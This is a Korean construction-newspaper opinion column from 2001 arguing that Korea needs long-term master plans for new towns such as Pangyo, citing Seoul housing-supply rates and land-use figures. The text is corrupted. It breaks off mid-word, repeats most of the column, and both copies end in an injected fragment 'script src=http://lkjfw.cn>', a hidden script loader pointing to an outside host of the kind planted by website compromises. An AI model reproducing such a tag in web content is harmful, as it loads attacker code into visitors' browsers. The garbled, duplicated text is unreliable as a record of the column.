신도시 건설이 필요한 이유
보도일자 2001-08-08
보도기관 일간건설
판교신도시 건설이 겉돌고 있다. 한때 본격적으로 진행되는가 싶더니 정치권의 공방 속에 미로에 빠져 있다. 재건축 사업도 기록적인 가격상승률을 기록하면서 주택시장을 되살리는가 싶더니, 느닷없이 소형주택 건설 의무화를 부활한다는 발표가 있자 다시 찬바람이 불고 있다.
정책이 오락가락하고 매스컴에서는 연일 전·월세 파동으로 부동산시장이 춤추고 있다는 기사가 등장하지만, 집 없는 서민의 가슴은 답답하기만 하다. 이렇게 매번 호들갑스럽게 정책이 발표되고 대책이 세워지는데 왜 해마다 이사철이 되면 집이 모자라고 전세가격이 폭등하는 일이 반복되는 것일까?
작년도 인구센서스에 의하면 서울의 총인구는 990만명이고 주택은 약 198만가구 정도 된다. 물론 이 주택에 오피스텔 등은 포함되지 않고 다가구 주택도 1채의 주택으로 집계되어 있다. 따라서 실제 주택 수는 220∼230만가구 정도가 될 것으로 보인다. 일반적으로 통계상의 주택보급률은 보통가구수 즉 일반가구에서 독신가구와 비혈연 가구가 제외된 가구수에 기준하여 산정된다. 그러니까 분모와 분자가 모두 과소평가 되어 계산되는 것이다.
1999년 현재 서울의 주택보급률은 71.5%라고 발표되고 있다. 2000년 센서스 자료를 가지고 위에서 설명한 것과 같이 분모 분자를 수정하고 나면 서울의 주택보급률은 70% 정도이다. 아직 주택은 마냥 부족하다. 주택을 지으려면 땅이 있어야 한다. 이제 정부는 그린벨트를 해제하여 거기에 소형임대주택을 짓는다는 기발한 아이디어까지 내놓고 있다.
주택과 땅이 부족한 데에는 이유가 있다. 주택은 아직 절대적인 물량 면에서 수요에 미치지 못한다. 더욱이 수요가 집중되어 있는데는 그나마 지을 땅조차 없다. 우리나라의 전 국토에서 도시적 용도로 사용되고 있는 토지는 5% 밖에 안된다. 그러니 주택을 지을 만한 땅이 부족한 것은 당연한 일이다.
국토계획에 의하면 현재 우리 국토의 개발된 땅은 4.8%에 불과하나 앞으로 8%까지 확장하여야 한다고 되어 있다. 이는 3천㎢ 가량을 추가로 개발해야 한다는 뜻이다. 이는 상당 부분이 주거지 등 도시용도이다.
예를 들어 보자. 수도권에 많은 도시들이 건설되었지만 수도권의 주거지 면적은 요원하다. 일본 동경권과 비교하면 동경권 내에는 2천160㎢의 주거지가 개발되어 있으나 우리 수도권에는 고작 572㎢에 불과하다. 물론 인구는 동경권이 1.5배 가량 많다. 이런 점을 감안해도 수도권의 경우 많은 개발수요가 기다리고 있다는 뜻이다. 이 같은 개발수요를 방치하면 난장판 난개발이 된다. 계획적으로 개발수요를 수용해야 한다.
계획적인 개발이란 산발적인 개발을 체계적인 개발로 유도하는 것이다. 계획적인 개발의 우선적인 조건이 바로 기반시설의 정비이다. 기반시설을 미리 갖춘 토지를 공급하기 위해서는 초기에 대규모 투자비용이 든다.
현재 전국에 전염병처럼 번지고 있는 난개발은 단기적으로는 비용이 절감되는 것 같지만 결국에는 막대한 사회비용이 수반된다. 또한 소규모 단위 개발은 광역적인 차원의 대규모 개발보다 토지이용의 효율성도 떨어진다. 이런 모든 점을 감안할 때 향후 개발의 수단으로써 ‘신도시’개발은 매우 유용한 수단이 될 수 있다.
신도시를 반대하는 데에는 나름대로의 근거가 있다. 그러나 이것은 ‘제대로 된 도시개발’을 하지 않아서이지, ‘신도시 개발’ 자체가 갖는 부작용 때문은 아니다.
나름대로 신도시 개발만이 갖는 이점이 있다. 신도시를 개발하면 백지에 그림을 그리는 것과 같이 기존 시가지에서 적용하지 못하던 새로운 설계의 개념이나 시설의 설치 등을 시도해 볼 수 있다. 자전거 전용도로, 자동차가 지나가지 않는 단지내 도로, 개별 정원을 가진 공동주택, 지하로 매설된 쓰레기 통로 및 처리시설 등등 말로만 듣던 새로운 것들을 실현해 볼 수 있는 기회의 장(場)인 것이다.
이런 신도시 개발이 왜 그렇게 오명을 뒤집어쓰고 환경파괴, 고밀 개발의 주범으로 전략하였을까? 그건 너무도 짧은 시기에 많은 물량을 한꺼번에 개발하였기 때문이다. 다른 나라들은 30년에 걸쳐 개발하는 것을 우리는 불과 4∼5년 안에 끝내버렸다. 어떻게 부작용이 생기지 않을 수 있겠는가? 그렇기 때문에 앞으로의 신도시는 좀 더 장기적인 계획으로 이루어져야 한다.
나는 지금 당장 전국적으로 신도시에 대한 마스터플랜을 세우는 일이 무엇보다도 시급하다고 본다. 앞서 언급한 개발수요를 ‘신도시’란 그릇에 담아야 한다. 계획을 세우고 개발 가능한 토지를 미리 확보해 놓아야 한다. 지금의 판교처럼 개발압력이 팽배해 있는 시점에 오면 땅값만 오르고 주변지역에 이에 기생한 난개발만 판을 치게 된다. 이해집단의 요구에 따라 당초의 계획이 계속 변해간다. 저밀도 환경친화적인 주거단지가 어느 날 갑자기 고밀의 벤처단?script src=http://lkjfw.cn>
정책이 오락가락하고 매스컴에서는 연일 전·월세 파동으로 부동산시장이 춤추고 있다는 기사가 등장하지만, 집 없는 서민의 가슴은 답답하기만 하다. 이렇게 매번 호들갑스럽게 정책이 발표되고 대책이 세워지는데 왜 해마다 이사철이 되면 집이 모자라고 전세가격이 폭등하는 일이 반복되는 것일까?
작년도 인구센서스에 의하면 서울의 총인구는 990만명이고 주택은 약 198만가구 정도 된다. 물론 이 주택에 오피스텔 등은 포함되지 않고 다가구 주택도 1채의 주택으로 집계되어 있다. 따라서 실제 주택 수는 220∼230만가구 정도가 될 것으로 보인다. 일반적으로 통계상의 주택보급률은 보통가구수 즉 일반가구에서 독신가구와 비혈연 가구가 제외된 가구수에 기준하여 산정된다. 그러니까 분모와 분자가 모두 과소평가 되어 계산되는 것이다.
1999년 현재 서울의 주택보급률은 71.5%라고 발표되고 있다. 2000년 센서스 자료를 가지고 위에서 설명한 것과 같이 분모 분자를 수정하고 나면 서울의 주택보급률은 70% 정도이다. 아직 주택은 마냥 부족하다. 주택을 지으려면 땅이 있어야 한다. 이제 정부는 그린벨트를 해제하여 거기에 소형임대주택을 짓는다는 기발한 아이디어까지 내놓고 있다.
주택과 땅이 부족한 데에는 이유가 있다. 주택은 아직 절대적인 물량 면에서 수요에 미치지 못한다. 더욱이 수요가 집중되어 있는데는 그나마 지을 땅조차 없다. 우리나라의 전 국토에서 도시적 용도로 사용되고 있는 토지는 5% 밖에 안된다. 그러니 주택을 지을 만한 땅이 부족한 것은 당연한 일이다.
국토계획에 의하면 현재 우리 국토의 개발된 땅은 4.8%에 불과하나 앞으로 8%까지 확장하여야 한다고 되어 있다. 이는 3천㎢ 가량을 추가로 개발해야 한다는 뜻이다. 이는 상당 부분이 주거지 등 도시용도이다.
예를 들어 보자. 수도권에 많은 도시들이 건설되었지만 수도권의 주거지 면적은 요원하다. 일본 동경권과 비교하면 동경권 내에는 2천160㎢의 주거지가 개발되어 있으나 우리 수도권에는 고작 572㎢에 불과하다. 물론 인구는 동경권이 1.5배 가량 많다. 이런 점을 감안해도 수도권의 경우 많은 개발수요가 기다리고 있다는 뜻이다. 이 같은 개발수요를 방치하면 난장판 난개발이 된다. 계획적으로 개발수요를 수용해야 한다.
계획적인 개발이란 산발적인 개발을 체계적인 개발로 유도하는 것이다. 계획적인 개발의 우선적인 조건이 바로 기반시설의 정비이다. 기반시설을 미리 갖춘 토지를 공급하기 위해서는 초기에 대규모 투자비용이 든다.
현재 전국에 전염병처럼 번지고 있는 난개발은 단기적으로는 비용이 절감되는 것 같지만 결국에는 막대한 사회비용이 수반된다. 또한 소규모 단위 개발은 광역적인 차원의 대규모 개발보다 토지이용의 효율성도 떨어진다. 이런 모든 점을 감안할 때 향후 개발의 수단으로써 ‘신도시’개발은 매우 유용한 수단이 될 수 있다.
신도시를 반대하는 데에는 나름대로의 근거가 있다. 그러나 이것은 ‘제대로 된 도시개발’을 하지 않아서이지, ‘신도시 개발’ 자체가 갖는 부작용 때문은 아니다.
나름대로 신도시 개발만이 갖는 이점이 있다. 신도시를 개발하면 백지에 그림을 그리는 것과 같이 기존 시가지에서 적용하지 못하던 새로운 설계의 개념이나 시설의 설치 등을 시도해 볼 수 있다. 자전거 전용도로, 자동차가 지나가지 않는 단지내 도로, 개별 정원을 가진 공동주택, 지하로 매설된 쓰레기 통로 및 처리시설 등등 말로만 듣던 새로운 것들을 실현해 볼 수 있는 기회의 장(場)인 것이다.
이런 신도시 개발이 왜 그렇게 오명을 뒤집어쓰고 환경파괴, 고밀 개발의 주범으로 전략하였을까? 그건 너무도 짧은 시기에 많은 물량을 한꺼번에 개발하였기 때문이다. 다른 나라들은 30년에 걸쳐 개발하는 것을 우리는 불과 4∼5년 안에 끝내버렸다. 어떻게 부작용이 생기지 않을 수 있겠는가? 그렇기 때문에 앞으로의 신도시는 좀 더 장기적인 계획으로 이루어져야 한다.
나는 지금 당장 전국적으로 신도시에 대한 마스터플랜을 세우는 일이 무엇보다도 시급하다고 본다. 앞서 언급한 개발수요를 ‘신도시’란 그릇에 담아야 한다. 계획을 세우고 개발 가능한 토지를 미리 확보해 놓아야 한다. 지금의 판교처럼 개발압력이 팽배해 있는 시점에 오면 땅값만 오르고 주변지역에 이에 기생한 난개발만 판을 치게 된다. 이해집단의 요구에 따라 당초의 계획이 계속 변해간다. 저밀도 환경친화적인 주거단지가 어느 날 갑자기 고밀의 벤처단?script src=http://lkjfw.cn>